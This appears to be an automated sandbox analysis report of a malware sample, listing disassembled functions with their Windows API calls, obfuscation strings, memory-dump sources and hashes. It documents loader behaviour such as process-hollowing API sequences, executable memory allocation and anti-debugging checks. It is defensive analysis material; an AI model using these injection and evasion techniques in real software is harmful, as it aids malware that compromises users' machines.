API ID: Virtual$MemoryProcess$AllocThreadWrite$ContextWow64$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 93872480-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: e555508d700fe94a382f898a4467955b5925cfb0c7d7228fd02405c2f395d566
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: 97B1B574A00208AFDB44CF98C895F9EBBB5BF88314F248158E909AB395D771AE45CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0040410B Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 36
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(kernel32.dll), ref: 00404115
GetProcAddress.KERNEL32(00000000,005D6550), ref: 0040418F
VirtualProtect.KERNELBASE(00000020,?), ref: 004041B8

Strings

, xrefs: 004041A1
kernel32.dll, xrefs: 00404110

Memory Dump Source

Source File: 00000000.00000002.1679278036.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1679266991.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679278036.000000000041A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679390445.00000000005D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679443513.0000000000687000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_klWGq3yDcQ.jbxd

Similarity

API ID: AddressLibraryLoadProcProtectVirtual
String ID: $kernel32.dll
API String ID: 3509694964-2116778257
Opcode ID: 22a4f4bf7306eb6b98d4f20a53bd8a28bb4fdc09efc8bd0ec5bfde06e8165a47
Instruction ID: 6109632eb69a26ca137ca2c7fcba41926974768f7ba44181e94517b5b6f2f70a
Opcode Fuzzy Hash: 22a4f4bf7306eb6b98d4f20a53bd8a28bb4fdc09efc8bd0ec5bfde06e8165a47
Instruction Fuzzy Hash: 9111EC7040A2C0EEE721CF6CFD0C7053FA66332748F84019BD184562BAD7BA519DE726

Uniqueness

Uniqueness Score: -1.00%

Function 023E97C6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 023E97EE
Module32First.KERNEL32(00000000,00000224), ref: 023E980E

Memory Dump Source

Source File: 00000000.00000002.1679577642.00000000023E9000.00000040.00000020.00020000.00000000.sdmp, Offset: 023E9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e9000_klWGq3yDcQ.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 5bb8bdb079c72f25a9f974f7786454cd928b1bfbb340cb59e1b515bd485871d5
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: C2F096312007206FEB203FF5A88DB6E76E8AF89725F100668E657910C0DB70E8494B61

Uniqueness

Uniqueness Score: -1.00%

Function 004041C0 Relevance: 40.4, APIs: 19, Strings: 4, Instructions: 144
memorylibrarytimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 004041C5
SetLocalTime.KERNEL32(00000000), ref: 004041E6

Part of subcall function 00403CD0: std::exception::exception.LIBCMT ref: 00403CDA

Part of subcall function 00405730: __wcstoi64_l.LIBCMT ref: 00405726

Part of subcall function 00405701: __wcstoi64.LIBCMT ref: 0040570D

_abort.LIBCMT ref: 00404228

Part of subcall function 00405021: __NMSG_WRITE.LIBCMT ref: 00405042
Part of subcall function 00405021: _raise.LIBCMT ref: 00405053
Part of subcall function 00405021: _memset.LIBCMT ref: 004050EB
Part of subcall function 00405021: SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,00000000), ref: 0040511D
Part of subcall function 00405021: UnhandledExceptionFilter.KERNEL32(?,?,?,00000000), ref: 0040512A

Part of subcall function 00403E1F: _ldexp.LIBCMT ref: 00403E2C

Part of subcall function 00405EE6: _doexit.LIBCMT ref: 00405EF2

LocalAlloc.KERNELBASE(00000000), ref: 00404254
SetLastError.KERNEL32(00000000), ref: 0040426D
GetLastError.KERNEL32 ref: 00404273
GetCurrentProcessId.KERNEL32 ref: 00404275
SetComputerNameW.KERNEL32(00000000), ref: 004042B8
GetConsoleAliasA.KERNEL32(00000000,00000000,00000000,00000000), ref: 004042D9
GetNumberFormatW.KERNEL32(00000000,00000000,gicizovadaxike,00000000,?,00000000), ref: 004042EF
FindResourceW.KERNEL32(00000000,00000000,00000000), ref: 004042F8
GetConsoleAliasesA.KERNEL32(?,00000000,00000000), ref: 00404307
GetLastError.KERNEL32 ref: 0040431D
EndUpdateResourceA.KERNEL32(00000000,00000000), ref: 00404343
GetComputerNameA.KERNEL32(?,?), ref: 00404354
GetSystemWindowsDirectoryA.KERNEL32(?,00000000), ref: 00404362
GetWindowsDirectoryW.KERNEL32(?,00000000), ref: 00404370
GetConsoleProcessList.KERNEL32(00000000,00000000), ref: 00404381
LoadLibraryW.KERNELBASE(msimg32.dll), ref: 0040438F

Strings

Gm , xrefs: 0040427B
bad exception, xrefs: 00404203
msimg32.dll, xrefs: 0040438A
gicizovadaxike, xrefs: 004042E8

Memory Dump Source

Source File: 00000000.00000002.1679278036.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1679266991.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679278036.000000000041A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679390445.00000000005D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679443513.0000000000687000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_klWGq3yDcQ.jbxd

Similarity

API ID: ConsoleErrorLast$ComputerDirectoryExceptionFilterLocalNameProcessResourceUnhandledWindows$AliasAliasesAllocCurrentFindFormatH_prologLibraryListLoadNumberSystemTimeUpdate__wcstoi64__wcstoi64_l_abort_doexit_ldexp_memset_raisestd::exception::exception
String ID: Gm $bad exception$gicizovadaxike$msimg32.dll
API String ID: 3528909803-3012029016
Opcode ID: 92e8a99ca880039b65c6f0e58e712fac0581c67dc700d7fe661ac808ef12ef68
Instruction ID: 15bc25406d2bf01194df0353fde5e3b77ae0d26d15ee4f22dc6ac41848330041
Opcode Fuzzy Hash: 92e8a99ca880039b65c6f0e58e712fac0581c67dc700d7fe661ac808ef12ef68
Instruction Fuzzy Hash: C441D1B1901964EBC711BB61ED489CF3A6DFF86354B40407BF146B25A1CB3C5A81CBAD

Uniqueness

Uniqueness Score: -1.00%

Function 00406056 Relevance: 22.6, APIs: 15, Instructions: 86
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_fast_error_exit.LIBCMT ref: 004060A1
__mtinit.LIBCMT ref: 004060A7
_fast_error_exit.LIBCMT ref: 004060B2
__RTC_Initialize.LIBCMT ref: 004060B8
__ioinit.LIBCMT ref: 004060C0
__amsg_exit.LIBCMT ref: 004060CB
GetCommandLineA.KERNEL32 ref: 004060D1
___crtGetEnvironmentStringsA.LIBCMT ref: 004060DC
__setargv.LIBCMT ref: 004060E6
__amsg_exit.LIBCMT ref: 004060F1
__setenvp.LIBCMT ref: 004060F7
__amsg_exit.LIBCMT ref: 00406102
__cinit.LIBCMT ref: 00406109
__amsg_exit.LIBCMT ref: 00406114
__wincmdln.LIBCMT ref: 0040611A

Memory Dump Source

Source File: 00000000.00000002.1679278036.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1679266991.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679278036.000000000041A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679390445.00000000005D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679443513.0000000000687000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_klWGq3yDcQ.jbxd

Similarity

API ID: __amsg_exit$_fast_error_exit$CommandEnvironmentInitializeLineStrings___crt__cinit__ioinit__mtinit__setargv__setenvp__wincmdln
String ID:
API String ID: 3545360858-0
Opcode ID: e29a4f2b5acadd5959f12dbf377411e154dd556389362516ac4e9d05b1f3ce9f
Instruction ID: 22a4bc19aaad6074953f51e1c78b27f214f1a36a5df2c3372685105ba99cc4ee
Opcode Fuzzy Hash: e29a4f2b5acadd5959f12dbf377411e154dd556389362516ac4e9d05b1f3ce9f
Instruction Fuzzy Hash: 022191B094070599EB24BB72A946B6E2664EF0070CF11847FF4467A1D2EF7C88A19B5D

Uniqueness

Uniqueness Score: -1.00%

Function 025B0420 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 025B0533

Strings

saodkfnosa9uin, xrefs: 025B04DA
0, xrefs: 025B0492
mfoaskdfnoa, xrefs: 025B0520, 025B0523
d, xrefs: 025B0584

Memory Dump Source

Source File: 00000000.00000002.1679668945.00000000025B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 025B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_25b0000_klWGq3yDcQ.jbxd

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: a308cdcc980ba36b8d5b47f84608e917706b52285cb26a772b10a58f1357a454
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: B8511A70D08388DAEB11CBD8C849BDEBFB66F11708F144058D5447F2C6C3BA5A58CB66

Uniqueness

Uniqueness Score: -1.00%

Function 025B05B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 025B05EC

Strings

apfHQ, xrefs: 025B05E2, 025B05E5
o, xrefs: 025B0600

Memory Dump Source

Source File: 00000000.00000002.1679668945.00000000025B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 025B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_25b0000_klWGq3yDcQ.jbxd

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: c4483c1d6dd8d87a8e51d2098c1e3d83e4629e8abeb9dc08fe076e57c05cb7ec
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: BA011E70C0425CEADF11DFA8C5187EEBFB5AF41308F148099C4092B281D7769B59CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040BA8B Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000,?,0040609A,00000001), ref: 0040BAA0

Memory Dump Source

Source File: 00000000.00000002.1679278036.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1679266991.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679278036.000000000041A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679390445.00000000005D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679443513.0000000000687000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_klWGq3yDcQ.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 5352d8a38c414f081a158b84bbea4e7a41d2baa5dc014b237cd512c13185dee2
Instruction ID: ad4029ef072d74f7b8a662ebc6abdbfbede0ebf6ed3c701b4e41a7520a73f68d
Opcode Fuzzy Hash: 5352d8a38c414f081a158b84bbea4e7a41d2baa5dc014b237cd512c13185dee2
Instruction Fuzzy Hash: BCD0A736690344AFDB109F707D08B623BDCE3887A5F104437F91DD6290F674C541D648

Uniqueness

Uniqueness Score: -1.00%

Function 023E9485 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 023E94D6

Memory Dump Source

Source File: 00000000.00000002.1679577642.00000000023E9000.00000040.00000020.00020000.00000000.sdmp, Offset: 023E9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e9000_klWGq3yDcQ.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 84f36f282dd5cc0dbe9bd970f9c8b1a6b48f149052e322833081c421f53c4577
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: D1113C79A00208EFDB01DF98C985E99BBF5EF08350F058094F9499B3A1D371EA94DF80

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00404004 Relevance: 29.8, APIs: 13, Strings: 4, Instructions: 88filepipetimeCOMMON

Download Yara Rule

APIs

ReadConsoleInputA.KERNEL32(00000000,?,00000000,?), ref: 00404046
CreateJobObjectW.KERNEL32(00000000,00000000), ref: 0040404E
EnumDateFormatsExA.KERNEL32(00000000,00000000,00000000), ref: 00404057
CreateNamedPipeW.KERNEL32(nolebacitin covinarefogajonizonaxiyexor,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00404069
CreateFileMappingW.KERNEL32(00000000,00000000,00000000,00000000,00000000,catufiyeyebiy), ref: 00404079
SetConsoleWindowInfo.KERNEL32(00000000,00000000,00000000), ref: 00404082
TlsGetValue.KERNEL32(00000000), ref: 00404089
OpenWaitableTimerW.KERNEL32(00000000,00000000,gafadayokutivewapogematiden), ref: 00404096
CreateFileW.KERNEL32(sujibadopidovotudi,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004040A7
GetWindowsDirectoryA.KERNEL32(?,00000000), ref: 004040B5
GetSystemInfo.KERNEL32(?), ref: 004040BF
InitializeSListHead.KERNEL32(?), ref: 004040CF
GetModuleHandleW.KERNEL32(00000000), ref: 004040D6

Strings

gafadayokutivewapogematiden, xrefs: 0040408F
nolebacitin covinarefogajonizonaxiyexor, xrefs: 00404064
sujibadopidovotudi, xrefs: 004040A2
catufiyeyebiy, xrefs: 0040406F

Memory Dump Source

Source File: 00000000.00000002.1679278036.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1679266991.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679278036.000000000041A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679390445.00000000005D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679443513.0000000000687000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_klWGq3yDcQ.jbxd

Similarity

API ID: Create$ConsoleFileInfo$DateDirectoryEnumFormatsHandleHeadInitializeInputListMappingModuleNamedObjectOpenPipeReadSystemTimerValueWaitableWindowWindows
String ID: catufiyeyebiy$gafadayokutivewapogematiden$nolebacitin covinarefogajonizonaxiyexor$sujibadopidovotudi
API String ID: 3028345792-1832176304
Opcode ID: 6b89c13cd9591ba1be9e9d638d8da564c502f731b61e7fd3196076b4823f6c4a
Instruction ID: f0377ec0db126e7c1da513f61da9344e1b0907be9a8047da7388d670df29e93c
Opcode Fuzzy Hash: 6b89c13cd9591ba1be9e9d638d8da564c502f731b61e7fd3196076b4823f6c4a
Instruction Fuzzy Hash: 461129B2502564BBD7116BE1AE4CDDF3F6CEF4A7527004026F246F2560C6385685CBBD

Uniqueness

Uniqueness Score: -1.00%

Function 0040667B Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0040BC67
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0040BC7C
UnhandledExceptionFilter.KERNEL32(00402484), ref: 0040BC87
GetCurrentProcess.KERNEL32(C0000409), ref: 0040BCA3
TerminateProcess.KERNEL32(00000000), ref: 0040BCAA

Memory Dump Source

Source File: 00000000.00000002.1679278036.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1679266991.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679278036.000000000041A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679390445.00000000005D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679443513.0000000000687000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_klWGq3yDcQ.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 26e3a55a9e4dd30213d406e29c9426c1734d57e9fea91615f583661b3791f6bb
Instruction ID: 629ae143b7aa868528a5526f7ca6918666db97de6fc411c1c75406f0552514c5
Opcode Fuzzy Hash: 26e3a55a9e4dd30213d406e29c9426c1734d57e9fea91615f583661b3791f6bb
Instruction Fuzzy Hash: 12210574802215DFD760DFA9ED896447BB0FB28301F11402BE80993772E7B5958EEF49

Uniqueness

Uniqueness Score: -1.00%

Function 0040B5B4 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0000B572), ref: 0040B5B9

Memory Dump Source

Source File: 00000000.00000002.1679278036.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1679266991.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679278036.000000000041A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679390445.00000000005D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679443513.0000000000687000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_klWGq3yDcQ.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: f5944f7a497243d8d7952678e014602460eb12c086bcf5cb3cded92ddc3ac9f9
Instruction ID: 18890b57369581bd9b8984f8de6ce42cc9b09e7a1accd70baa0d4bcc8d65959d
Opcode Fuzzy Hash: f5944f7a497243d8d7952678e014602460eb12c086bcf5cb3cded92ddc3ac9f9
Instruction Fuzzy Hash: 029002A47E2180D6C60017716D1DA0525D4BA4974AB5104B57482E54A8DB754040995D

Uniqueness

Uniqueness Score: -1.00%

Function 023E90A3 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1679577642.00000000023E9000.00000040.00000020.00020000.00000000.sdmp, Offset: 023E9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e9000_klWGq3yDcQ.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 821e11f1d3c7166bfabbd3c918b2b2d579bff6b3958ce7daeb8bc844f7247e09
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 9011A172340210AFDB54DF55DCC0FA673EAEB89320B198065ED09CB392E676EC46CB60

Uniqueness

Uniqueness Score: -1.00%

Function 025B0042 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1679668945.00000000025B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 025B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_25b0000_klWGq3yDcQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 0ade95920a6298abbe7824189d35f298339e63a797c7e888f44060ed2e29a19d
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 39117C72340105AFEB54DE65DC90EF773EAFF88360B598165E908CB351D676E801CB60

Uniqueness

Uniqueness Score: -1.00%

Function 0041038B Relevance: 38.8, APIs: 21, Strings: 1, Instructions: 340COMMONLIBRARYCODE

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,00000100,00402CE0,00000001,00000000,00000000,00000100,?,00000000,?,?,?,?,?,?,?), ref: 004103BD
GetLastError.KERNEL32 ref: 004103CF
MultiByteToWideChar.KERNEL32(00000100,00000000,?,?,00000000,00000000,00000100,?,00000000,?,?,?,?,?,?,?), ref: 0041045B
_malloc.LIBCMT ref: 00410494
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000), ref: 004104C7
LCMapStringW.KERNEL32(?,?,?,00000000,00000000,00000000), ref: 004104E3
LCMapStringW.KERNEL32(?,00000400,00000400,00000000,?,?), ref: 0041051D
_malloc.LIBCMT ref: 00410556
LCMapStringW.KERNEL32(?,00000400,00000400,00000000,00000000,?), ref: 00410581
WideCharToMultiByte.KERNEL32(?,00000000,00000000,?,?,?,00000000,00000000), ref: 004105A4
__freea.LIBCMT ref: 004105AE
__freea.LIBCMT ref: 004105B7
___ansicp.LIBCMT ref: 004105E8
___convertcp.LIBCMT ref: 00410613
LCMapStringA.KERNEL32(?,?,00000000,?,00000000,00000000,?,?,?,00000100,?,00000000,?,?,?,?), ref: 00410634
_malloc.LIBCMT ref: 0041066C
_memset.LIBCMT ref: 0041068E
LCMapStringA.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,?,00000100,?,00000000,?), ref: 004106A6
___convertcp.LIBCMT ref: 004106C4
__freea.LIBCMT ref: 004106D9
LCMapStringA.KERNEL32(?,?,?,?,00000000,?,00000100,?,00000000,?,?,?,?,?,?,?), ref: 004106F3

Strings

GWh,@, xrefs: 004103B0

Memory Dump Source

Source File: 00000000.00000002.1679278036.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1679266991.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679278036.000000000041A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679390445.00000000005D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679443513.0000000000687000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_klWGq3yDcQ.jbxd

Similarity

API ID: String$ByteCharMultiWide__freea_malloc$___convertcp$ErrorLast___ansicp_memset
String ID: GWh,@
API String ID: 3809854901-693176108
Opcode ID: d3258b5402916f26e598f24df6cabe2abcac44fe3bd0fc14fe973c13867e7e2f
Instruction ID: 1b2c51639e80d38376a8b417860281ffbc8200aa37427921f782e4f9ae46fa49
Opcode Fuzzy Hash: d3258b5402916f26e598f24df6cabe2abcac44fe3bd0fc14fe973c13867e7e2f
Instruction Fuzzy Hash: 04B19072800119EFCF219F94CD808EF3BB6EB48354B14412BFA15A6260D7B98DE1DF99

Uniqueness

Uniqueness Score: -1.00%

Function 00403E3F Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 134COMMON

Download Yara Rule

APIs

RemoveDirectoryA.KERNEL32(cayetapufutida,?,?,00000055), ref: 00403E70
GlobalAddAtomA.KERNEL32(sugihetopovegonehaculayihimus), ref: 00403E7B
SearchPathA.KERNEL32(00000000,00000000,humuyoh,00000000,?,?,?,?,00000055), ref: 00403EF2
DebugActiveProcess.KERNEL32(00000000,?,?,00000055), ref: 00403EF9
FreeEnvironmentStringsW.KERNEL32(00000000,?,?,00000055), ref: 00403F00
ReadConsoleInputW.KERNEL32(00000000,?,00000000,?,?,?,00000055), ref: 00403F10
GetGeoInfoW.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00403F76
FindFirstVolumeMountPointA.KERNEL32(bexominayunaciyihogucutejefif kijafakesapazayavixukatezekiv zawetotacegopurisidutuhelirozi,?,00000000), ref: 00403FA0
GetVolumePathNameA.KERNEL32(rivujiherasanarocicewowupaja,?,00000000), ref: 00403FB3

Strings

bexominayunaciyihogucutejefif kijafakesapazayavixukatezekiv zawetotacegopurisidutuhelirozi, xrefs: 00403F9B
, xrefs: 00403EB7
sugihetopovegonehaculayihimus, xrefs: 00403E76
cayetapufutida, xrefs: 00403E6B
humuyoh, xrefs: 00403EEB
@@, xrefs: 00403F59, 00403F7C
rivujiherasanarocicewowupaja, xrefs: 00403FAE

Memory Dump Source

Source File: 00000000.00000002.1679278036.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1679266991.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679278036.000000000041A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679390445.00000000005D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679443513.0000000000687000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_klWGq3yDcQ.jbxd

Similarity

API ID: PathVolume$ActiveAtomConsoleDebugDirectoryEnvironmentFindFirstFreeGlobalInfoInputMountNamePointProcessReadRemoveSearchStrings
String ID: $bexominayunaciyihogucutejefif kijafakesapazayavixukatezekiv zawetotacegopurisidutuhelirozi$cayetapufutida$humuyoh$rivujiherasanarocicewowupaja$sugihetopovegonehaculayihimus$@@
API String ID: 1075561957-1249441868
Opcode ID: b15e3fd470876a09fbd0562a18f0e10997856b1d698d20001b19ea0931017013
Instruction ID: 80d4ec71a02ddc7576705c1c4e3dd8bdc8be99f1f95b5e99e614b3f8bd6c3544
Opcode Fuzzy Hash: b15e3fd470876a09fbd0562a18f0e10997856b1d698d20001b19ea0931017013
Instruction Fuzzy Hash: FC5104B1D01219EFDB10CFA4D988A9EBBB9FF48311F108166E505F7250D738AA45CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00403E45 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 131COMMON

Download Yara Rule

APIs

RemoveDirectoryA.KERNEL32(cayetapufutida,?,?,00000055), ref: 00403E70
GlobalAddAtomA.KERNEL32(sugihetopovegonehaculayihimus), ref: 00403E7B
SearchPathA.KERNEL32(00000000,00000000,humuyoh,00000000,?,?,?,?,00000055), ref: 00403EF2
DebugActiveProcess.KERNEL32(00000000,?,?,00000055), ref: 00403EF9
FreeEnvironmentStringsW.KERNEL32(00000000,?,?,00000055), ref: 00403F00
ReadConsoleInputW.KERNEL32(00000000,?,00000000,?,?,?,00000055), ref: 00403F10
GetGeoInfoW.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00403F76
FindFirstVolumeMountPointA.KERNEL32(bexominayunaciyihogucutejefif kijafakesapazayavixukatezekiv zawetotacegopurisidutuhelirozi,?,00000000), ref: 00403FA0
GetVolumePathNameA.KERNEL32(rivujiherasanarocicewowupaja,?,00000000), ref: 00403FB3

Strings

bexominayunaciyihogucutejefif kijafakesapazayavixukatezekiv zawetotacegopurisidutuhelirozi, xrefs: 00403F9B
, xrefs: 00403EB7
sugihetopovegonehaculayihimus, xrefs: 00403E76
cayetapufutida, xrefs: 00403E6B
humuyoh, xrefs: 00403EEB
@@, xrefs: 00403F59, 00403F7C
rivujiherasanarocicewowupaja, xrefs: 00403FAE

Memory Dump Source

Source File: 00000000.00000002.1679278036.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1679266991.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679278036.000000000041A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679390445.00000000005D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679443513.0000000000687000.00000002.00000001.01000000.00000003.sdmpDownload File

